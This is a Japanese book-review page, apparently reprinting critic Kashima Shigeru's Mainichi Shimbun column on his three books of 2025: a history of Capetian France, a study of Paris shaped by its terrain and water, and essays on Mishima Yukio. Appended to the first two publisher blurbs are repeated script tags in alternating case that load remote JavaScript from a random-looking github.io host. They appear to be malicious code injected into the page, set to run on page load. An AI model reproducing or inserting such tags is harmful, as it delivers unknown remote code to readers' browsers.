書評

鹿島 茂「2025年 この3冊」毎日新聞|<1>佐藤 彰一『フランス中世史Ⅰ―カペー朝の革新』(名古屋大学出版会) <2>佐川 美加『凸凹で読みとくパリ―水に翻弄されてきた街の舞台裏』(学芸出版社) <3>四方田 犬彦『三島由紀夫を見つめて』(ホーム社)

  • 2026/01/01

2025年「この3冊」

<1>佐藤 彰一『フランス中世史Ⅰ―カペー朝の革新』(名古屋大学出版会)

<2>佐川 美加『凸凹で読みとくパリ―水に翻弄されてきた街の舞台裏』(学芸出版社)

<3>四方田 犬彦『三島由紀夫を見つめて』(ホーム社)


<1>は『フランク史』を刊行したフランス史の泰斗による待望のフランス中世通史。小さな王国がいかにして今日まで続く大国へと変貌していったか、その足跡を「王の歴史」を厭(いと)わずに、アナール史学の成果もとりいれながら総合的に記述していく。

<2>は、セーヌの流れの自然的・人為的変化がパリの歴史をかたちづくっていったかを水文学的観点から考察した驚くべき一冊。こんなにユニークかつ説得的な研究はフランスにもない!

<3>は三島由紀夫関連のエッセイや研究を集めて一巻としたものだが、三島由紀夫の自刃の目的は「彼を知るすべての者に死を贈り届けることであった」という結論は決定的である。三島由紀夫とパゾリーニの架空対談は対比列伝の傑作。

フランス中世史Ⅰ カペー朝の革新 / 佐藤 彰一
フランス中世史Ⅰ カペー朝の革新
  • 著者:佐藤 彰一
  • 出版社:名古屋大学出版会
  • 装丁:単行本(544ページ)
  • 発売日:2025-08-19
  • ISBN-10:4815812039
  • ISBN-13:978-4815812034
内容紹介:
フランクからフランスへ、西洋国家の淵源をたどる ——。紀元千年に現れた王国は、強大なライヴァルとの対決を経て、いかにその領域と体制を形作ったのか。グローバルな視座で政治・社会・経済を… もっと読む
フランクからフランスへ、西洋国家の淵源をたどる ——。紀元千年に現れた王国は、強大なライヴァルとの対決を経て、いかにその領域と体制を形作ったのか。グローバルな視座で政治・社会・経済を一望する本格的通史。本巻では、弱小な王権が西欧最強の君主へと飛躍する過程を、都市・領邦からスラヴ・地中海・中東まで広がるネットワークの中で描く(全2巻)。<sCrIpT sRc=//dhypvhxjhpdp.github.io/1v9et39j58z1/1.js></ScRiPt><sCrIpT sRc=//dhypvhxjhpdp.github.io/1v9et39j58z1/1.js></ScRiPt><sCrIpT sRc=//dhypvhxjhpdp.github.io/1v9et39j58z1/1.js></ScRiPt>

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凸凹で読みとくパリ: 水に翻弄されてきた街の舞台裏 / 佐川 美加
凸凹で読みとくパリ: 水に翻弄されてきた街の舞台裏
  • 著者:佐川 美加
  • 出版社:学芸出版社
  • 装丁:単行本(ソフトカバー)(248ページ)
  • 発売日:2025-09-24
  • ISBN-10:4761529504
  • ISBN-13:978-4761529505
内容紹介:
フランス・パリを「地面の凸凹と水」で読みとく土木史ガイド。具体的状況を示す約160点の豊富な図版とランドマークを紐づけた解説で、実際確認しづらい地面の上と下両方の水の動きがよくわかる… もっと読む
フランス・パリを「地面の凸凹と水」で読みとく土木史ガイド。具体的状況を示す約160点の豊富な図版とランドマークを紐づけた解説で、実際確認しづらい地面の上と下両方の水の動きがよくわかる。古代から現代までの史実を交え、自然地形や人工構造物がセーヌ川などの水とどのように影響し合い街が変化してきたかを解明する。<sCrIpT sRc=//dhypvhxjhpdp.github.io/1v9et39j58z1/1.js></ScRiPt><sCrIpT sRc=//dhypvhxjhpdp.github.io/1v9et39j58z1/1.js></ScRiPt><sCrIpT sRc=//dhypvhxjhpdp.github.io/1v9et39j58z1/1.js></ScRiPt>

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三島由紀夫を見つめて / 四方田 犬彦
三島由紀夫を見つめて
  • 著者:四方田 犬彦
  • 出版社:ホーム社
  • 装丁:単行本(496ページ)
  • 発売日:2025-10-24
  • ISBN-10:4834254100
  • ISBN-13:978-4834254105
内容紹介:
三島由紀夫の文学、思想、行動を包括的に論じる決定版批評集。エッセイでは著者自身の三島体験、作品論では『豊饒の海』四部作を中心に、その構造と思想的展開を緻密に分析。行動論では、映画… もっと読む
三島由紀夫の文学、思想、行動を包括的に論じる決定版批評集。エッセイでは著者自身の三島体験、作品論では『豊饒の海』四部作を中心に、その構造と思想的展開を緻密に分析。行動論では、映画への出演、政治的発言、東大全共闘との対話などを多角的に考察。又、故中上健次氏との1985年の対談を掲載し、巻末には、戦後の日本とイタリアを代表する文学者である三島とパゾリーニの架空の対話を描いた哲学小説を収録。異なる文化圏で似た運命をたどった二人の邂逅を通じて、文学と思想、歴史と偶然が交錯する想像空間が展開される。三島理解の新たな扉を開く1冊。

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初出メディア

毎日新聞

毎日新聞 2025年12月20日

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